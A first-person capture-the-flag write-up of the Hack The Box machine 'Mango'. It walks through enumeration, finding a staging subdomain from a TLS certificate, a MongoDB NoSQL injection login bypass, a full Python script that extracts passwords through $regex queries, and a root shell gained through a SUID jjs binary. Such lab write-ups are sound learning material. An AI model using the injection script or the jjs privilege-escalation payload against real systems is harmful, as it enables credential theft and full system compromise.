HTB Mango Write-Up

HTB Mango Write-Up

User Flag

The usual nmap scan provides following results:

Nmap Result
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PORT    STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Only the ssh, http and https ports are open. So I fired up my browser and headed to http://10.10.10.162. I stumbled upon a 403 response just like nmap said in the http-title line. I supposed that maybe only the root is forbidden and tried to discover some directories using Gobuster without luck.

Gobuster
1
gobuster dir -q -t20 -w /usr/share/dirb/wordlists/big.txt -u http://10.10.10.162 | tee httpbust.txt

Note: I always save the output of my enumerations to a file in case I need it back, like when I’m writing this.

Time for the https port. Luckily, we got a page.

Mango https

I directly jumped to the source of the page to check if there is anything interesting like comments, in place js code, etc., but I found nothing. I switched back to my terminal to check for interesting directories with gobuster. I always do this instinctively when I face a web application and didn’t find anything in the source or have a well known vulnerability in head for the used http server.

Gobuster
1
gobuster dir -q -t20 -w /usr/share/dirb/wordlists/big.txt -u https://10.10.10.162 -k | tee httpsbust.txt

In parallel, let’s proceed to the inspection of the webpage. The search box does nothing, even with the two buttons. On the upper right side menu, the only link that’s working is Analytics. It leads to a page with statistics and diagrams. I snooped around a loooot but couldn’t find anything. In the mean time my directory discovery command finished without anything interesting, jeeeezzzz. Dead end! So let’s get back to the drawing board, the nmap scan result.

After another lecture, I noticed the line

1
ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./

The SSL certificate is linked to the domain staging-order.mango.htb. Let’s add that to our hosts file and see where it leads.

/etc/hosts
1
10.10.10.162    mango.htb   mango   staging-order.mango.htb

With plenty of enthusiasm, I went to https://staging-order.mango.htb but you can’t imagine my deception when I got the exact same page as before! But hey, the mentality is TRY HARDER, so no time to drown in despair right ?!
I remembered that when I used the ip address, I got different results for http and https. So I wonder, how will it go with this new domain, gave it a try and holy mother of computers, I got a page with a form!!! You should have seen the smirk on my face.

Staging http

I tried some default credentials like admin:admin and since it’s talking about ordering mango, admin:mango, mango:mango and mango:admin but with no luck! I followed my usual procedure of inspecting the source then gobuster. The only interesting directory gobuster found is the vendor directory which leads to a 403 response.

Now from this point, my only alternative was SQL Injection. I never go for bruteforce in these situations because in my experience, it doesn’t work in HTB CTFs unless you found in the box a decent list you can use as wordlist which is not the case here. That said, let’s check for SQL injection using SQLMap. First I used Burpsuite to save the POST login request in a file I called reqlogin.txt.

SQLMap
1
sqlmap -r reqlogin.txt -p "username,password" --batch

The result was no good since sqlmap says nor username nor password was injectable. I played the stubborn and increased the level and the risk options of sqlmap and still nothing. I took a break in favor of some sleep.

A night of sleep later, I came back wondering if the database is a NoSQL one specifically MongoDB since you know, well … mango sounds a little like mongo. I read that Burpsuite can check for NoSQL Injection but the extension that does it only works in paid version of Burp and I’m using the community version. But to confirm my suspicions, I modified the post data in Burp from username=test&password=test&login=login to username[$ne]=test&password[$ne]=test&login=login and holy cow it worked! I mean I got a 302 response code instead of the 200 I was getting previously but it’s something right ?! Let’s find out, then.

I tried the username admin using username[$eq]=admin&password[$ne]=test&login=login and I still got the 302 response. That’s good news because I can focus in finding the password only. I found a tool called NoSQLMap on Github for NoSQL Injection but it didn’t work with the staging domain name so I resolved myself to write a python exploit. The exploit basically tries to guess the length of the password then proceed to guess the content itself. Here follows the code:

exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3

import requests
import string

URL = "http://staging-order.mango.htb"
headers = {'application' : 'x-www-form-urlencoded'}
body = {'username': 'admin', 'login': 'login'}

length=5

for i in range(5, 20):
body['password[$regex]'] = "^.{%d}$" % i
resp = requests.post(URL, headers=headers, data=body, allow_redirects = False)
if(resp.status_code == 302):
print("Password size: %d" % i)
length = i
break

password = ""
while len(password) < length:
for c in string.printable:
if(c in ['*', '.', '?', '|', '+']): # These characters mess with the regex
continue # So we ignore them
body['password[$regex]'] = "^%s%s" % (password, c)
resp = requests.post(URL, headers=headers, data=body, allow_redirects = False)
if(resp.status_code == 302):
password += c
print("Found one more => %s" % password)
if(len(password) == length):
break

print("Password is: '%s'" % password)

Executing the exploit gives the following output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Password size: 12
Found one more => t
Found one more => t9
Found one more => t9K
Found one more => t9Kc
Found one more => t9KcS
Found one more => t9KcS3
Found one more => t9KcS3>
Found one more => t9KcS3>!
Found one more => t9KcS3>!0
Found one more => t9KcS3>!0B
Found one more => t9KcS3>!0B#
Found one more => t9KcS3>!0B#2
Password is: 't9KcS3>!0B#2'

TADAAAAAAAAAAAAAAAAA!!

This is too good to be true, I wanted to make sure I am not dreaming and tried the password on the form and it passes!!! I got to a home page that says the website is under construction but who cares ?!! I got a password and my next stop will be SSH of course.

Trigger Warning: Aaaaaaaah sh*t, another Deception! ssh admin@mango.htb does not work. Maybe the user is forbidden to ssh on the box or maybe he’s just a web user. So I went back to Burpsuite, tried mango as a username, got a 302 response then edited my exploit to replace admin with mango, executed it and got h3mXK8RhU~f{]f5H as a password. This time, SSH worked like a charm and I’m in. However, the user flag is not in mango home directory but inside admin home directory. As we already have the admin password, a su admin is enough to become the user admin and read the flag.

Root flag

Whenever I got user access in a Linux box, I go through a checklist for privilege escalation.

  • Check if the user has sudo rights and see if I can do something with it.
  • Find suid executables with find / -user root -executable -type f -perm -4000 -print 2>/dev/null and if there is one maybe I will have luck with them with the help of GTFOBins.
  • Check running processes with pspy to see if there is one I can abuse.
  • Proceed to a full Privilege escalation scan using linPEAS script.

Some may say that the last step contains all of the previous ones but it’s my personal goal to not depend a lot in tools and focus more in the techniques and methodologies. So I want to try a lot doing it “manually” for now at least.

Back to the box, connected via SSH as user mango, the sudo -l command tells me this user may not run sudo on the box. Same thing for user admin.
Listing the suid bins produces the following output:

sudo -l outputs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
bin/fusermount
/bin/mount
/bin/umount
/bin/su
/bin/ping
.
.
.
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine

Note that I executed the command as admin. Now notice the third line before the end is /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs. As a previous developer, this immediately got my attention. JJS was introduced in Java SE 8 and can be used to run scripts and have an interactive shell. So maybe I can spawn a root shell using it. I even searched it in GTFOBins and got a result (I’m getting lucky!). Tweaking a little the command I’ve found to add the full path to jjs gives this

1
$ echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

But that did not work even after multiple tries. I continued the reading and down the same page, in the SUID section I found a command that has been said to work only on MacOS. I tried it after all and it failed but since the description mentionned somethings about sh and the -p option, I tried using bash instead of sh and we got ourselves a shell

1
2
3
4
echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/bash -pc \$@|bash\${IFS}-p _ echo bash -p <$(tty) >$(tty) 2>$(tty)').waitFor()" | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('/bin/bash -pc $@|bash${IFS}-p _ echo bash -p </dev/pts/0 >/dev/pts/0 2>/dev/pts/0').waitFor()
bash-4.4#

Congratulations, you justed owned the box.